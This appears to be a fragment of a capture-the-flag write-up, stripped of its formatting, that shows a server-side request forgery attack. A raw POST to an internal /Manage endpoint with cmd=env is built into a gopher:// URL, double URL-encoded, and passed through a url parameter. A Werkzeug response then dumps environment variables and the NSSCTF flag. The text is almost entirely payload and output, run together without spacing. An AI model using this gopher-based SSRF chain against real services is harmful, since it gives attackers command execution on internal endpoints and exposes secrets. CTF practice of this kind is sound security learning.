POST /Manage HTTP/1.1Host: 127.0.0.1Content-Type: application/x-www-form-urlencodedContent-Length: 7cmdenvgopher://0.0.0.0:8000/_,要有_gopher://0.0.0.0:8000/_POST%20%2FManage%20HTTP%2F1%2E1%0D%0AHost%3A%20127%2E0%2E0%2E1%0D%0AContent%2DType%3A%20application%2Fx%2Dwww%2Dform%2Durlencoded%0D%0AContent%2DLength%3A%207%0D%0A%0D%0Acmd%3Denv/Gopher?urlgopher%3A%2F%2F0%2E0%2E0%2E0%3A8000%2F%5FPOST%2520%252FManage%2520HTTP%252F1%252E1%250D%250AHost%253A%2520127%252E0%252E0%252E1%250D%250AContent%252DType%253A%2520application%252Fx%252Dwww%252Dform%252Durlencoded%250D%250AContent%252DLength%253A%25207%250D%250A%250D%250Acmd%253DenvHTTP/1.1 200 OK Server: Werkzeug/3.1.3 Python/3.9.21 Date: Sat, 08 Aug 2026 07:25:07 GMT Content-Type: text/html; charsetutf-8 Content-Length: 368 Connection: close HOSTNAMEannac0936c92df_sservice HOME/root GPG_KEYE3FF2839C048B25C084DEBE9B26995E310250568 PYTHON_SHA2563126f59592c9b0d798584755f2bf7b081fa1ca35ce7a6fea980108d752a05bb1 WERKZEUG_SERVER_FD3 PATH/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin LANGC.UTF-8 PYTHON_VERSION3.9.21 PWD/app FLAGNSSCTF{3f597f52-1f40-4409-b4cc-005884ca52ba}